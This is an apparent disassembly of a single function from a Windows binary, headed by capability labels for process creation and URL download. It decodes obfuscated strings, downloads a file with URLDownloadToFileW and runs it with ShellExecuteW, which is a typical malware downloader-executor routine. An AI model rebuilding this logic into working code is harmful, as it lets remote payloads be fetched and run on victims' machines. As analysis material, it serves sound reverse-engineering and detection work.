Function at 0x406e00
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x448bb5
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x68
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], 0
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x40767f
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x10], eax
push str.I3VxPWVzZ2I7I3VxJGxtYV9hZmM7I2I
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.00403500
test al, al
jne 0x406e65
push 0x20
push str.I3VxPWVzZ2I7I3VxJGxtYV9hZmM7I2I
lea ecx, [ebp - 0x10]
call fcn.00403990
mov byte [ebp - 4], 2
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x407689
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x20], eax
push 0x4583f4
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 3
call fcn.00403500
test al, al
jne 0x406ea7
push 0x10
push 0x4583f4
lea ecx, [ebp - 0x20]
call fcn.00403990
mov byte [ebp - 4], 4
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x407693
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x14], eax
push str.LGN2Yw
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 5
call fcn.00403500
test al, al
jne 0x406ee9
push 8
push str.LGN2Yw
lea ecx, [ebp - 0x14]
call fcn.00403990
mov byte [ebp - 4], 6
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x40769d
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x18], eax
push str.YmpddGNwOw
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 7
call fcn.00403500
test al, al
jne 0x406f2b
push 0xc
push str.YmpddGNwOw
lea ecx, [ebp - 0x18]
call fcn.00403990
mov byte [ebp - 4], 8
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x4076a7
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x1c], eax
push str.Ym11bGptX2JnbGU
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 9
call fcn.00403500
test al, al
jne 0x406f6d
push 0x10
push str.Ym11bGptX2JnbGU
lea ecx, [ebp - 0x1c]
call fcn.00403990
mov byte [ebp - 4], 0xa
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x4076b1
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0xb
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x4076bb
mov eax, dword [ecx]
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x68], esi
mov byte [ebp - 4], 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp dword [edi + 0x14], 8
push eax
push 0x4619a0
jb 0x406fc1
mov edi, dword [edi]
mov eax, dword [ebp - 0x10]
push edi
push ecx
add eax, 0xfffffff0
mov edi, esp
mov dword [ebp - 0x64], edi
mov ecx, eax
mov dword [ebp - 0x64], eax
call fcn.004037d0
add eax, 0x10
lea ecx, [ebp - 0x38]
mov dword [edi], eax
call fcn.00402190
add esp, 4
mov byte [ebp - 4], 0xd
push dword [eax]
lea eax, [ebp - 0x3c]
push eax
call fcn.0040a400
mov byte [ebp - 4], 0xc
or ebx, 0xffffffff
mov edx, dword [ebp - 0x38]
add esp, 0x14
add edx, 0xfffffff0
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40701b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x14]
push ecx
add eax, 0xfffffff0
mov edi, esp
mov dword [ebp - 0x60], edi
mov ecx, eax
mov dword [ebp - 0x60], eax
call fcn.004037d0
add eax, 0x10
lea ecx, [ebp - 0x40]
mov dword [edi], eax
call fcn.00402190
add esp, 4
push eax
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xe
call fcn.004051a0
add esp, 4
mov byte [ebp - 4], 0x10
mov eax, ebx
mov edx, dword [ebp - 0x40]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40706f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x18]
push ecx
add eax, 0xfffffff0
mov edi, esp
mov dword [ebp - 0x5c], edi
mov ecx, eax
mov dword [ebp - 0x5c], eax
call fcn.004037d0
add eax, 0x10
lea ecx, [ebp - 0x30]
mov dword [edi], eax
call fcn.00402190
add esp, 4
mov byte [ebp - 4], 0x11
lea edx, [ebp + 8]
cmp dword [ebp + 0x1c], 8
jb 0x4070ad
mov edx, dword [ebp + 8]
test edx, edx
jne 0x4070ad
xor ecx, ecx
jmp 0x4070c1
mov ecx, edx
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4070b2
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x30]
call fcn.0040a020
push ecx
mov ecx, dword [ebp - 0x30]
mov edi, esp
add ecx, 0xfffffff0
mov dword [ebp - 0x54], esp
mov dword [ebp - 0x58], edi
call fcn.004037d0
add eax, 0x10
mov dword [edi], eax
push ecx
mov byte [ebp - 4], 0x12
mov ebx, esp
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x50], esp
add eax, 0xfffffff0
push ecx
mov edi, esp
mov ecx, eax
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x58], eax
call fcn.004037d0
add eax, 0x10
mov ecx, ebx
mov dword [edi], eax
call fcn.00402190
mov ebx, esp
mov byte [ebp - 4], 0x13
push ecx
mov edi, esp
mov dword [ebp - 0x4c], edi
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x38], eax
call fcn.004037d0
add eax, 0x10
mov ecx, ebx
mov dword [edi], eax
call fcn.00402190
add esp, 4
mov byte [ebp - 4], 0x11
call fcn.00406480
mov edi, dword [ebp - 0x3c]
add esp, 0xc
push 0
push 0
push dword [ebp - 0x34]
push edi
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ebx, eax
call fcn.00401600
mov ecx, eax
test ebx, ebx
je 0x407320
test ecx, ecx
je 0x4076d9
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x2c], eax
mov byte [ebp - 4], 0x14
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x4076c5
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x24], eax
push str.Y3BwbXBdYW1iYzsjIS4vLnY
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x15
call fcn.00403500
test al, al
jne 0x4071c0
push 0x18
push str.Y3BwbXBdYW1iYzsjIS4vLnY
lea ecx, [ebp - 0x24]
call fcn.00403990
mov byte [ebp - 4], 0x16
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x4076cf
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x28], eax
push str.YmpdY3BwbXA
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x17
call fcn.00403500
test al, al
jne 0x407202
push 0xc
push str.YmpdY3BwbXA
lea ecx, [ebp - 0x28]
call fcn.00403990
push ebx
push ecx
mov byte [ebp - 4], 0x18
mov ebx, esp
mov dword [ebp - 0x54], ebx
mov eax, dword [ebp - 0x24]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x4c], eax
call fcn.004037d0
add eax, 0x10
lea ecx, [ebp - 0x44]
mov dword [ebx], eax
call fcn.00402190
add esp, 4
mov byte [ebp - 4], 0x19
push dword [eax]
lea eax, [ebp - 0x2c]
push eax
call fcn.0040a400
mov byte [ebp - 4], 0x18
add esp, 0xc
mov edx, dword [ebp - 0x44]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40725e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push ecx
mov ebx, esp
mov dword [ebp - 0x54], esp
mov dword [ebp - 0x50], ebx
mov eax, dword [ebp - 0x2c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x50], eax
call fcn.004037d0
add eax, 0x10
mov dword [ebx], eax
push ecx
mov byte [ebp - 4], 0x1a
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x6c], esp
add eax, 0xfffffff0
mov dword [ebp - 0x44], esp
push ecx
mov ebx, esp
mov ecx, eax
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x48], eax
call fcn.004037d0
mov ecx, dword [ebp - 0x44]
add eax, 0x10
mov dword [ebx], eax
call fcn.00402190
mov byte [ebp - 4], 0x1b
mov dword [ebp - 0x44], esp
push ecx
mov ebx, esp
mov dword [ebp - 0x70], ebx
mov ecx, dword [ebp - 0x38]
call fcn.004037d0
mov ecx, dword [ebp - 0x44]
add eax, 0x10
mov dword [ebx], eax
call fcn.00402190
add esp, 4
mov byte [ebp - 4], 0x18
call fcn.00406480
mov edx, dword [ebp - 0x48]
or ebx, 0xffffffff
add esp, 0xc
mov byte [ebp - 4], 0x16
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4072f9
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x14
mov eax, ebx
mov edx, dword [ebp - 0x4c]
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407314
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x11
mov edx, dword [ebp - 0x50]
jmp 0x407529
test ecx, ecx
je 0x4076d9
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x28], eax
push str.cXJfcHJdZ2xxcl9qag
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x1c
call fcn.00403500
test al, al
jne 0x407357
push 0x14
push str.cXJfcHJdZ2xxcl9qag
lea ecx, [ebp - 0x28]
call fcn.00403990
mov byte [ebp - 4], 0x1d
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x4076e3
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x2c], eax
push str.bW5jbA
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x1e
call fcn.00403500
test al, al
jne 0x407399
push 8
push str.bW5jbA
lea ecx, [ebp - 0x2c]
call fcn.00403990
mov byte [ebp - 4], 0x1f
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x4076ed
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x24], eax
push str.LWdscmNwbF9q
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x20
call fcn.00403500
test al, al
jne 0x4073db
push 0xc
push str.LWdscmNwbF9q
lea ecx, [ebp - 0x24]
call fcn.00403990
push ecx
mov byte [ebp - 4], 0x21
mov ecx, esp
mov dword [ebp - 0x70], esp
push 0x4574e2
call fcn.00402d50
push ecx
mov byte [ebp - 4], 0x22
mov dword [ebp - 0x6c], esp
mov dword [ebp - 0x50], esp
push ecx
mov ebx, esp
mov dword [ebp - 0x54], ebx
mov eax, dword [ebp - 0x28]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x54], eax
call fcn.004037d0
mov ecx, dword [ebp - 0x50]
add eax, 0x10
mov dword [ebx], eax
call fcn.00402190
mov byte [ebp - 4], 0x23
mov dword [ebp - 0x50], esp
push ecx
mov ebx, esp
mov dword [ebp - 0x4c], ebx
mov ecx, dword [ebp - 0x38]
call fcn.004037d0
mov ecx, dword [ebp - 0x50]
add eax, 0x10
mov dword [ebx], eax
call fcn.00402190
add esp, 4
mov byte [ebp - 4], 0x21
call fcn.00406480
add esp, 0xc
push 5
push 0
push ecx
mov ebx, esp
mov dword [ebp - 0x70], ebx
mov eax, dword [ebp - 0x24]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x48], eax
call fcn.004037d0
add eax, 0x10
lea ecx, [ebp - 0x4c]
mov dword [ebx], eax
call fcn.00402190
add esp, 4
mov byte [ebp - 4], 0x24
push dword [eax]
push dword [ebp - 0x34]
push ecx
mov ebx, esp
mov dword [ebp - 0x70], ebx
mov eax, dword [ebp - 0x2c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x44], eax
call fcn.004037d0
add eax, 0x10
lea ecx, [ebp - 0x50]
mov dword [ebx], eax
call fcn.00402190
add esp, 4
push dword [eax]
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov edx, dword [ebp - 0x50]
or ebx, 0xffffffff
add edx, 0xfffffff0
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4074ce
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x21
mov eax, ebx
mov edx, dword [ebp - 0x4c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4074ec
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x48]
mov eax, ebx
mov byte [ebp - 4], 0x1f
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407507
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x1d
mov eax, ebx
mov edx, dword [ebp - 0x44]
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407522
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x11
mov edx, dword [ebp - 0x54]
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40753d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x10
mov eax, ebx
mov edx, dword [ebp - 0x30]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40755b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0xc
mov eax, ebx
mov edx, dword [ebp - 0x34]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407579
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0xb
add esi, 0xfffffff0
mov eax, ebx
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x407594
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0xa
add edi, 0xfffffff0
mov eax, ebx
lock xadd dword [edi + 0xc], eax
dec eax
test eax, eax
jg 0x4075af
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x58]
mov eax, ebx
mov byte [ebp - 4], 8
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4075ca
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x5c]
mov eax, ebx
mov byte [ebp - 4], 6
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4075e5
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x60]
mov eax, ebx
mov byte [ebp - 4], 4
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407600
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 2
mov eax, ebx
mov edx, dword [ebp - 0x38]
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40761b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x64]
mov byte [ebp - 4], 0
lock xadd dword [edx + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x407634
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp + 0x1c]
cmp ecx, 8
jb 0x40766e
mov edx, dword [ebp + 8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x407664
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4076f7
push ecx
push edx
call fcn.0042288e
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
call fcn.00427553
int3